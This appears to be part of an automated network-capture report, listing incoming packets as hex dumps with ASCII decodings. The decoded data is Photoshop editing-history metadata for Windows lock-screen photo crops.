31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 Data Ascii: 4-125-Batch2_PeggysCoveCanada_GettyImages_117310221_1080x1920.jpg saved 2016-07-08T18:44:24-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_El-nidoPhilippines_500px_128209505_1080x1920.jpg saved 2016-07-0
2022-07-20 04:06:50 UTC	1475	IN	Data Raw: 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 4c 61 6b 65 4d 6f 72 6e 69 6e 67 4c 69 67 68 74 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 35 37 35 6d 31 30 37 34 34 38 39 66 5f 31 30 38 30 78 Data Ascii: Q4-500_Batch1\Crops\Q4-500-1_FootbridgeLeadsToSea_Plainpicture_p300m979164f_1080x1920.jpg saved 2016-08-10T14:01:01-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_LakeMorningLight_Plainpicture_p575m1074489f_1080x
2022-07-20 04:06:50 UTC	1538	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 55 52 31 35 5f 50 72 6f 34 5f 54 61 62 6c 65 74 5f 30 35 5f 47 72 61 64 69 65 6e 74 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c Data Ascii: File Lockscreen_1080x1920_Portrait.psd opened 2016-09-28T13:31:43-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SUR15_Pro4_Tablet_05_Gradient_1080x1920.jpg saved 2016-09-28T13:31:56-07:00 File C:\Users\v-lizagh\MS\Windows10\L
2022-07-20 04:06:50 UTC	1546	IN	Data Raw: 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 30 36 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 31 36 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 Data Ascii: 0\Lockscreen_1080x1920_Portrait.psd saved 2016-10-17T18:06:53-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-17T18:16:29-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080
2022-07-20 04:06:50 UTC	1634	IN	Data Raw: 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 30 35 36 32 32 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 39 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 36 39 31 38 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 34 30 3a 31 31 2d 30 38 Data Ascii: e\Crops\Office_Skype_GettyImages-660562255_1080x1920.jpg saved 2016-11-23T15:39:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-665691853_1080x1920.jpg saved 2016-11-23T15:40:11-08
2022-07-20 04:06:50 UTC	1673	IN	Data Raw: 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 33 37 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 34 34 39 33 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 Data Ascii: Images-152304794_1080x1920FF840D264A42D1208ABA554546D1D562.psb saved 2017-01-30T14:37:13-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-584493872_1080x1920.jpg saved&
2022-07-20 04:06:50 UTC	1784	IN	Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 37 3a 34 35 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d Data Ascii: Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-02-22T17:45:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MarchMadness-NCAA\March\CHOSEN\MIT-MarchMadness-NCAA_GettyImages-
2022-07-20 04:06:50 UTC	1872	IN	Data Raw: 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 38 54 31 34 3a 30 32 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 Data Ascii: 0x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-03-28T14:02:24-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 201
2022-07-20 04:06:50 UTC	1888	IN	Data Raw: 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 36 34 30 38 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 Data Ascii: ;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-596408872_1080x1920.jpg saved 2017-04-27T09:10:59-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-04
2022-07-20 04:06:50 UTC	1927	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 31 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 37 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 32 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 34 3a 34 38 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: xA;2017-05-12T16:21:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait7.psd saved 2017-05-12T16:22:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-05-15T14:48:51-07:00 F
2022-07-20 04:06:50 UTC	1991	IN	Data Raw: 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 34 33 33 38 31 34 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 38 31 37 38 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 Data Ascii: indows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_shutterstock_114338140_1080x1920.jpg saved 2017-06-13T15:26:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_GettyImages-537817892_1080x1920.jpg saved&#
2022-07-20 04:06:50 UTC	2007	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 Data Ascii: ed 2017-07-26T13:24:34-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1080x1920.psd saved 2017-07-26T13:24:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mi
2022-07-20 04:06:50 UTC	2095	IN	Data Raw: 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 34 39 38 36 30 36 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 34 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 Data Ascii: neDrive_shutterstock_374986063_1080x1920.jpg saved 2017-08-03T16:14:13-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-08-03T2
2022-07-20 04:06:50 UTC	2151	IN	Data Raw: 74 65 72 73 74 6f 63 6b 5f 34 35 35 32 35 37 34 35 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 37 3a 31 33 3a 30 36 2d 30 37 3a 30 Data Ascii: terstock_455257450_1080x1920.jpg saved 2017-09-28T15:03:07-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-09-28T17:13:06-07:0
2022-07-20 04:06:50 UTC	2206	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 30 38 30 78 31 39 32 30 35 44 38 45 38 38 41 44 42 32 43 35 41 33 32 37 38 36 45 38 46 35 35 36 37 30 31 30 38 30 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 32 3a 35 38 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e Data Ascii: 9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_Alamy-DXD0FG_1080x19205D8E88ADB2C5A32786E8F556701080E5.psb saved 2017-11-16T12:58:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN
2022-07-20 04:06:50 UTC	2278	IN	Data Raw: 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 30 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 37 39 32 39 37 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 31 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c Data Ascii: 6_1080x1920.jpg saved 2017-12-04T11:40:12-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_shutterstock_357929792_1080x1920.jpg saved 2017-12-04T11:41:08-08:00 File C:\Users\
2022-07-20 04:06:50 UTC	2326	IN	Data Raw: 32 2d 32 30 54 32 33 3a 33 35 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 5f 53 70 6f 74 6c 69 67 68 74 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 31 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 36 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 Data Ascii: 2-20T23:35:24-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lock_Spotlight\Templates\Lockscreen_1080x1920_Portrait12.psd saved 2017-12-20T23:36:29-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lockscreens\Templates\Lockscreen_1080x
2022-07-20 04:06:50 UTC	2389	IN	Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 33 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 44 30 44 36 37 46 44 43 46 46 41 30 39 44 39 35 37 46 46 34 43 43 41 46 35 34 41 30 44 46 38 36 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: ettyImages-161928393_1080x1920.jpg saved 2018-01-31T13:37:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterOlympics_GettyImages-161928393_1080x1920D0D67FDCFFA09D957FF4CCAF54A0DF86.psb saved 2
2022-07-20 04:06:50 UTC	2421	IN	Data Raw: 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 36 32 35 35 36 36 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c Data Ascii: xA;2018-02-15T15:38:27-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_376255660_1080x1920.jpg saved 2018-02-15T15:38:31-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\
2022-07-20 04:06:50 UTC	2524	IN	Data Raw: 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 32 32 38 32 35 33 31 34 5f 31 30 38 30 78 31 39 32 30 39 35 37 37 43 42 42 46 41 39 43 35 35 39 33 44 34 30 34 43 37 46 41 42 45 46 45 30 38 31 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 34 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 Data Ascii: Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Mixer_GettyImages-922825314_1080x19209577CBBFA9C5593D404C7FABEFE0810F.psb saved 2018-03-21T15:44:44-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mi
